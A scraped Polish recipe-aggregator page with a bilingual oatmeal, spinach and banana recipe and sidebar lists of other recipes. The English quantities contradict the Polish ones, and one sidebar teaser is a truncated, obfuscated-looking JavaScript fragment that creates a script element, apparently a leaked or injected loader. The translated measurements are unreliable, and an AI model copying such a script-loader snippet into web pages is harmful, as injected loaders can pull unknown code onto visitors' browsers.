Owsianka ze szpinakiem, bananem i ziarnem słonecznika / Oatmeal with spinach, banana and sunflower seeds
Źródło: https://oatspiration.blogspot.com/2024/05/owsianka-ze-szpinakiem-bananem-i.html
Autor: AiS*Nene
Składniki (1 porcja) / Ingredients (1 serving):0,5 szklanki płatków owsianych / 1 cup of oats1 szklanka mleka / 1 cup of milk2 łyżki szpinaku mrożonego, siekanego / 1 tablespoon of frozen spinach, chopped1 banan / 1 bananagarstka ziarna słonecznika / a handfulof sunflower seedsPrzygotowanie / How to make:Płatki owsiane ugotuj na mleku. Wymieszaj ze szpinakiem, słonecznikiem oraz pokrojonym bananem. Przełóż do miseczki.Cook oatmeal in milk. Mix with spinach, sunflower seeds and...
Najnowsze przepisy
Mięciutkie ciasto marchewkowe – wilgotny i delikatny... ⇖ 9
Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 12
Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 14
(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 15
Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 21
Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 19
Prościej się chyba nie da. Przy czym dostajemy bardzo... ⇖ 21
Ziemniaki zapiekane z brokułem to propozycja na prosty, a... ⇖ 23
Przepisy z bloga
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 207
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 400
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 356
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 369
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 387
Składniki (1 porcja) / Ingredients (1 serving):0,5... ⇖ 367
Przepisy na czasie
Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 706
Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 644
Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 319
Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 312
Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 250
Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 203
Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 193
Sernik z brzoskwiniami na kruchym kakaowym cieście to... ⇖ 189